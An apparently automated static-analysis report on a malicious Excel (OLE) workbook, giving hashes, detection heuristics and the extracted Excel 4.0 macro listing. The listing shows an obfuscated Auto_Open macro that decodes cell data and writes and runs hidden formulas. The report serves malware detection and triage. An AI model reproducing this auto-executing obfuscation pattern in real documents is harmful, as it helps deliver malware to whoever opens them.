Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fb1a5bdf777b8c6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:43 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 38c0ceb934c1b36dd4e60cd9befca18a SHA-1: 294e733ab4b6e26eeed475ceb94ff636142149e8 SHA-256: 6fb1a5bdf777b8c6ecfd44d3c38f19f4c331eb5f03fc767893297fc3b791184c
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6430 bytes
SHA-256: 0bf88e1ec26bac829b2a2d1882f91a3c9e49b43f9d897e7ad57cd66e9d2dce6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'uGqKJdVCMNNj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WSwc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B178 
' 0018     22 LABEL : Cell Value, String Constant - bssXixD len=0 
' 0018     24 LABEL : Cell Value, String Constant - eqeoTAvZu len=0 
' 0018     24 LABEL : Cell Value, String Constant - GhXYTttaI len=0 
' 0018     25 LABEL : Cell Value, String Constant - gMufZKSpYp len=0 
' 0018     26 LABEL : Cell Value, String Constant - guHybfEsKEX len=0 
' 0018     25 LABEL : Cell Value, String Constant - iEQQTnLDwl len=0 
' 0018     24 LABEL : Cell Value, String Constant - IgksGukEK len=0 
' 0018     26 LABEL : Cell Value, String Constant - JIGCXrnivDG len=0 
' 0018     24 LABEL : Cell Value, String Constant - lDdEBpaVj len=0 
' 0018     21 LABEL : Cell Value, String Constant - lQmjDs len=0 
' 0018     23 LABEL : Cell Value, String Constant - MSmzqsyI len=0 
' 0018     21 LABEL : Cell Value, String Constant - oCKDWt len=0 
' 0018     26 LABEL : Cell Value, String Constant - QYxikIzftyn len=0 
' 0018     24 LABEL : Cell Value, String Constant - ssMmRiJjQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - uGqKJdVCMNNj len=0 
' 0018     22 LABEL : Cell Value, String Constant - vRqLHuL len=0 
' 0018     20 LABEL : Cell Value, String Constant - xYVUq len=0 
' 0018     25 LABEL : Cell Value, String Constant - yjxQugCfTa len=0 
' 0018     25 LABEL : Cell Value, String Constant - YydNzDwLjp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZbQumNLm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WSwc,B88,"SET.NAME("ssMmRiJjQ",VALUE("0"))",""
'  WSwc,B90,"SET.NAME("lDdEBpaVj",ssMmRiJjQ)",""
'  WSwc,B93,"SET.NAME("MSmzqsyI",ssMmRiJjQ)",""
'  WSwc,B95,"SET.NAME("iEQQTnLDwl",COUNTA(bssXixD))",""
'  WSwc,B99,"SET.NAME("oCKDWt",COUNTA(IgksGukEK))",""
'  WSwc,B101,[],""
'  WSwc,B104,"SET.NAME("vRqLHuL","")",""
'  WSwc,B108,"lDdEBpaVj",""
'  WSwc,B110,"SET.NAME("ZbQumNLm",HLOOKUP("*",bssXixD,lDdEBpaVj,FALSE))",""
'  WSwc,B114,"JIGCXrnivDG",""
'  WSwc,B119,"SET.NAME("guHybfEsKEX",ssMmRiJjQ)",""
'  WSwc,B122,[],""
'  WSwc,B125,"guHybfEsKEX",""
'  WSwc,B130,"xYVUq",""
'  WSwc,B133,"GhXYTttaI",""
'  WSwc,B138,"QYxikIzftyn",""
'  WSwc,B143,"SET.NAME("uGqKJdVCMNNj",VALUE(HLOOKUP("*",IgksGukEK,QYxikIzftyn,FALSE)))",""
'  WSwc,B145,"lQmjDs",""
'  WSwc,B150,"vRqLHuL",""
'  WSwc,B155,"MSmzqsyI",""
'  WSwc,B160,NEXT(),""
'  WSwc,B163,"gMufZKSpYp",""
'  WSwc,B165,"SET.NAME("f",INT(T(FORMULA(T(vRqLHuL)&"",""&T(gMufZKSpYp)))))",""
'  WSwc,B169,"YydNzDwLjp",""
'  WSwc,B171,NEXT(),""
'  WSwc,B174,RETURN(),""
'  WSwc,B205,"SET.NAME("eqeoTAvZu",B88)",""
'  WSwc,B208,"bssXixD",""
'  WSwc,B213,"SET.NAME("IgksGukEK",R45C11)",""
'  WSwc,B215,"SET.NAME("YydNzDwLjp",224)",""
'  WSwc,B219,"SET.NAME("yjxQugCfTa",2)",""
'  WSwc,B223,eqeoTAvZu(),""
'  WSwc,B224,HALT(),""

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